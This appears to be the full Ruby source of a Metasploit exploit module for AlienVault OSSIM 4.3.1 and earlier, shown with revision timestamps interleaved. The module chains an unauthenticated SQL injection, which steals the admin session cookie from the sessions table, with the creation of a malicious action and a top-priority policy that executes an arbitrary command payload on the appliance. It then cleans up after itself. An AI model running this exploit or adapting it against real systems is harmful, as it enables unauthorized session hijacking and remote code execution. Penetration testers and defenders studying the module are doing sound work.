2014-04-28 03:59:15 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > " AlienVault OSSIM SQL Injection and Remote Code Execution " ,
'Description' = > %q{
This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault
OSSIM versions 4 . 3 . 1 and lower . The SQL injection issue can be abused in order to retrieve an
active admin session ID . If an administrator level user is identified , remote code execution
can be gained by creating a high priority policy with an action containing our payload .
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'Sasha Zivojinovic' , # SQLi discovery
'xistence <xistence[at]0x90.nl>' # Metasploit module
] ,
'References' = >
[
2014-04-28 16:45:40 +00:00
[ 'OSVDB' , '106252' ] ,
[ 'EDB' , '33006' ]
2014-04-28 03:59:15 +00:00
] ,
'DefaultOptions' = >
{
'SSL' = > true
} ,
2014-04-28 16:45:40 +00:00
'Platform' = > 'unix' ,
2014-04-28 03:59:15 +00:00
'Arch' = > ARCH_CMD ,
'Payload' = >
{
'Compat' = >
{
2014-04-28 16:55:06 +00:00
'RequiredCmd' = > 'generic perl python' ,
2014-04-28 03:59:15 +00:00
}
} ,
'Targets' = >
[
2014-04-28 16:45:40 +00:00
[ 'Alienvault OSSIM 4.3' , { } ]
2014-04-28 03:59:15 +00:00
] ,
'Privileged' = > true ,
2014-04-28 16:45:40 +00:00
'DisclosureDate' = > " Apr 24 2014 " ,
2014-04-28 03:59:15 +00:00
'DefaultTarget' = > 0 ) )
register_options (
[
Opt :: RPORT ( 443 ) ,
2014-05-01 03:10:15 +00:00
OptString . new ( 'TARGETURI' , [ true , 'The URI of the vulnerable Alienvault OSSIM instance' , '/' ] ) ,
OptInt . new ( 'WAIT' , [ true , " Number of seconds to wait for exploit to run " , 0 ] )
2014-04-28 03:59:15 +00:00
] , self . class )
end
def check
marker = rand_text_alpha ( 6 )
2014-04-28 16:45:40 +00:00
sqli_rand = rand_text_numeric ( 4 + rand ( 4 ) )
2014-04-28 03:59:15 +00:00
sqli = " ' and(select 1 from(select count(*),concat((select (select concat(0x #{ marker . unpack ( 'H*' ) [ 0 ] } ,Hex(cast(user() as char)),0x #{ marker . unpack ( 'H*' ) [ 0 ] } )) "
2014-04-28 16:45:40 +00:00
sqli << " from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and ' #{ sqli_rand } '=' #{ sqli_rand } "
2014-04-28 03:59:15 +00:00
res = send_request_cgi ( {
'uri' = > normalize_uri ( target_uri . path , 'geoloc' , 'graph_geoloc.php' ) ,
'vars_get' = > { 'date_from' = > sqli }
} )
2014-04-28 16:45:40 +00:00
if res && res . code == 200 && res . body =~ / #{ marker } 726F6F7440[0-9a-zA-Z]+ #{ marker } / # 726F6F7440 = root
2014-04-28 03:59:15 +00:00
return Exploit :: CheckCode :: Vulnerable
else
2014-04-28 16:45:40 +00:00
print_status ( " #{ res . body } " )
2014-04-28 03:59:15 +00:00
return Exploit :: CheckCode :: Safe
end
end
def exploit
marker = rand_text_alpha ( 6 )
2014-04-28 16:45:40 +00:00
sqli_rand = rand_text_numeric ( 4 + rand ( 4 ) )
2014-04-28 03:59:15 +00:00
sqli = " ' and (select 1 from(select count(*),concat((select (select concat(0x #{ marker . unpack ( 'H*' ) [ 0 ] } ,Hex(cast(id as char)),0x #{ marker . unpack ( 'H*' ) [ 0 ] } )) "
2014-04-28 16:45:40 +00:00
sqli << " from alienvault.sessions where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and ' #{ sqli_rand } '=' #{ sqli_rand } "
2014-04-28 03:59:15 +00:00
print_status ( " #{ peer } - Trying to grab admin session through SQLi " )
res = send_request_cgi ( {
'uri' = > normalize_uri ( target_uri . path , 'geoloc' , 'graph_geoloc.php' ) ,
'vars_get' = > { 'date_from' = > sqli }
} )
2014-04-28 16:45:40 +00:00
if res && res . code == 200 && res . body =~ / #{ marker } (.*) #{ marker } /
admin_session = $1
@cookie = " PHPSESSID= " + [ " #{ admin_session } " ] . pack ( " H* " )
2014-04-28 03:59:15 +00:00
print_status ( " #{ peer } - Admin session cookie is [ #{ @cookie } ] " )
else
fail_with ( Failure :: Unknown , " #{ peer } - Failure retrieving admin session " )
end
# Creating an Action containing our payload, which will be executed by any event (not only alarms)
action = rand_text_alpha ( 8 + ( rand ( 8 ) ) )
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , " ossim " , " action " , " modifyactions.php " ) ,
'cookie' = > @cookie ,
'vars_post' = > {
'action' = > 'new' ,
'action_name' = > action ,
'descr' = > action ,
'action_type' = > '2' ,
'only' = > 'on' ,
'cond' = > 'True' ,
'exec_command' = > payload . encoded
}
} )
2014-04-28 16:45:40 +00:00
if res && res . code == 200
2014-04-28 03:59:15 +00:00
print_status ( " #{ peer } - Created Action [ #{ action } ] " )
else
fail_with ( Failure :: Unknown , " #{ peer } - Action creation failed! " )
end
2014-04-28 16:45:40 +00:00
# Retrieving the Action ID, used to clean up the action after successful exploitation
2014-04-28 03:59:15 +00:00
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , " ossim " , " action " , " getaction.php " ) ,
'cookie' = > @cookie ,
2014-04-28 16:45:40 +00:00
'vars_post' = > {
'page' = > '1' ,
'rp' = > '2000'
}
2014-04-28 03:59:15 +00:00
} )
2014-04-28 16:45:40 +00:00
if res && res . code == 200 && res . body =~ / actionform \ .php \ ?id=(.*)'> #{ action } /
@action_id = $1
print_status ( " #{ peer } - Action ID is [ #{ @action_id } ] " )
2014-04-28 03:59:15 +00:00
else
fail_with ( Failure :: Unknown , " #{ peer } - Action ID retrieval failed! " )
end
# Retrieving the policy data, necessary for proper cleanup after succesful exploitation
res = send_request_cgi ( {
'method' = > 'GET' ,
2014-04-28 16:45:40 +00:00
'uri' = > normalize_uri ( target_uri . path . to_s , " ossim " , " policy " , " policy.php " ) ,
2014-04-28 03:59:15 +00:00
'cookie' = > @cookie ,
'vars_get' = > {
'm_opt' = > 'configuration' ,
'sm_opt' = > 'threat_intelligence' ,
'h_opt' = > 'policy'
}
} )
2014-04-28 16:45:40 +00:00
if res && res . code == 200 && res . body =~ / getpolicy \ .php \ ?ctx=(.*) \ &group=(.*)', /
policy_ctx = $1
policy_group = $2
print_status ( " #{ peer } - Policy data [ ctx= #{ policy_ctx } ] and [ group= #{ policy_group } ] retrieved! " )
2014-04-28 03:59:15 +00:00
else
fail_with ( Failure :: Unknown , " #{ peer } - Retrieving Policy data failed! " )
end
# Creating policy which will be triggered by any source/destination
policy = rand_text_alpha ( 8 + ( rand ( 8 ) ) )
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , " ossim " , " policy " , " newpolicy.php " ) ,
'cookie' = > @cookie ,
'vars_post' = > {
'descr' = > policy ,
'active' = > '1' ,
2014-04-28 16:45:40 +00:00
'group' = > policy_group ,
'ctx' = > policy_ctx ,
2014-04-28 03:59:15 +00:00
'order' = > '1' , # Makes this the first policy, overruling all the other policies
'action' = > 'new' ,
'sources[]' = > '00000000000000000000000000000000' , # Source is ANY
'dests[]' = > '00000000000000000000000000000000' , # Destination is ANY
'portsrc[]' = > '0' , # Any source port
'portdst[]' = > '0' , # Any destination port
'plug_type' = > '0' , # Any plugin type
'plugins[0]' = > 'on' ,
'tax_pt' = > '0' ,
'tax_cat' = > '0' ,
'tax_subc' = > '0' ,
'mboxs[]' = > '00000000000000000000000000000000' ,
'rep_act' = > '0' ,
'rep_sev' = > '1' ,
'rep_rel' = > '1' ,
'rep_dir' = > '0' ,
'ev_sev' = > '1' ,
'ev_rel' = > '1' ,
'tzone' = > 'Europe/Amsterdam' ,
'date_type' = > '1' ,
'begin_hour' = > '0' ,
'begin_minute' = > '0' ,
'begin_day_week' = > '1' ,
'begin_day_month' = > '1' ,
'begin_month' = > '1' ,
'end_hour' = > '23' ,
'end_minute' = > '59' ,
'end_day_week' = > '7' ,
'end_day_month' = > '31' ,
'end_month' = > '12' ,
2014-04-28 16:45:40 +00:00
'actions[]' = > @action_id ,
2014-04-28 03:59:15 +00:00
'sim' = > '1' ,
'priority' = > '1' ,
'qualify' = > '1' ,
'correlate' = > '0' , # Don't make any correlations
'cross_correlate' = > '0' , # Don't make any correlations
'store' = > '0' # We don't want to store anything :)
}
} )
2014-04-28 16:45:40 +00:00
if res && res . code == 200
2014-04-28 03:59:15 +00:00
print_status ( " #{ peer } - Created Policy [ #{ policy } ] " )
else
fail_with ( Failure :: Unknown , " #{ peer } - Policy creation failed! " )
end
# Retrieve policy ID, needed for proper cleanup after succesful exploitation
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , " ossim " , " policy " , " getpolicy.php " ) ,
'cookie' = > @cookie ,
'vars_get' = > {
2014-04-28 16:45:40 +00:00
'ctx' = > policy_ctx ,
'group' = > policy_group
2014-04-28 03:59:15 +00:00
} ,
'vars_post' = > {
'page' = > '1' ,
'rp' = > '2000'
}
} )
2014-04-28 16:45:40 +00:00
if res && res . code == 200 && res . body =~ / row id='(.*)' col_order='1' /
@policy_id = $1
print_status ( " #{ peer } - Policy ID [ #{ @policy_id } ] retrieved! " )
2014-04-28 03:59:15 +00:00
else
fail_with ( Failure :: Unknown , " #{ peer } - Retrieving Policy ID failed! " )
end
# Reload the policies to make our new policy active
print_status ( " #{ peer } - Reloading Policies " )
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , " ossim " , " conf " , " reload.php " ) ,
'cookie' = > @cookie ,
'vars_get' = > {
'what' = > 'policies' ,
'back' = > '../policy/policy.php'
}
} )
2014-04-28 16:45:40 +00:00
if res && res . code == 200
2014-04-28 03:59:15 +00:00
print_status ( " #{ peer } - Policies reloaded! " )
else
fail_with ( Failure :: Unknown , " #{ peer } - Policy reloading failed! " )
end
# Request a non-existing page, which will trigger a SIEM event (and thus our payload), but not an alarm.
2014-04-28 16:45:40 +00:00
dont_exist = rand_text_alpha ( 8 + rand ( 4 ) )
2014-04-28 03:59:15 +00:00
print_status ( " #{ peer } - Triggering policy and action by requesting a non existing url " )
res = send_request_cgi ( {
'method' = > 'GET' ,
2014-04-28 16:45:40 +00:00
'uri' = > normalize_uri ( target_uri . path , dont_exist ) ,
2014-04-28 03:59:15 +00:00
'cookie' = > @cookie
} )
2014-04-28 16:45:40 +00:00
if res && res . code == 404
2014-04-28 03:59:15 +00:00
print_status ( " #{ peer } - Payload delivered " )
2014-05-01 03:10:15 +00:00
Rex . sleep ( datastore [ 'WAIT' ] )
2014-04-28 03:59:15 +00:00
else
fail_with ( Failure :: Unknown , " #{ peer } - Payload failed! " )
end
end
def cleanup
2014-04-28 16:45:40 +00:00
begin
# Clean up, retrieve token so that the policy can be removed
print_status ( " #{ peer } - Cleaning up " )
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , " ossim " , " session " , " token.php " ) ,
'cookie' = > @cookie ,
'vars_post' = > { 'f_name' = > 'delete_policy' }
} )
if res && res . code == 200 && res . body =~ / \ { \ "status \ ": \ "OK \ ", \ "data \ ": \ "(.*) \ " \ } /
token = $1
print_status ( " #{ peer } - Token [ #{ token } ] retrieved " )
else
print_warning ( " #{ peer } - Unable to retrieve token " )
end
# Remove our policy
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , " ossim " , " policy " , " deletepolicy.php " ) ,
'cookie' = > @cookie ,
'vars_get' = > {
'confirm' = > 'yes' ,
'id' = > @policy_id ,
'token' = > token
}
} )
if res && res . code == 200
print_status ( " #{ peer } - Policy ID [ #{ @policy_id } ] removed " )
else
print_warning ( " #{ peer } - Unable to remove Policy ID " )
end
# Remove our action
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , " ossim " , " action " , " deleteaction.php " ) ,
'cookie' = > @cookie ,
'vars_get' = > {
'id' = > @action_id ,
}
} )
if res && res . code == 200
print_status ( " #{ peer } - Action ID [ #{ @action_id } ] removed " )
else
print_warning ( " #{ peer } - Unable to remove Action ID " )
end
2014-05-01 03:10:15 +00:00
# Reload the policies to revert back to the state before exploitation
print_status ( " #{ peer } - Reloading Policies " )
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , " ossim " , " conf " , " reload.php " ) ,
'cookie' = > @cookie ,
'vars_get' = > {
'what' = > 'policies' ,
'back' = > '../policy/policy.php'
}
} )
if res && res . code == 200
print_status ( " #{ peer } - Policies reloaded! " )
else
fail_with ( Failure :: Unknown , " #{ peer } - Policy reloading failed! " )
end
2014-04-28 16:45:40 +00:00
ensure
super # mixins should be able to cleanup even in case of Exception
2014-04-28 03:59:15 +00:00
end
end
end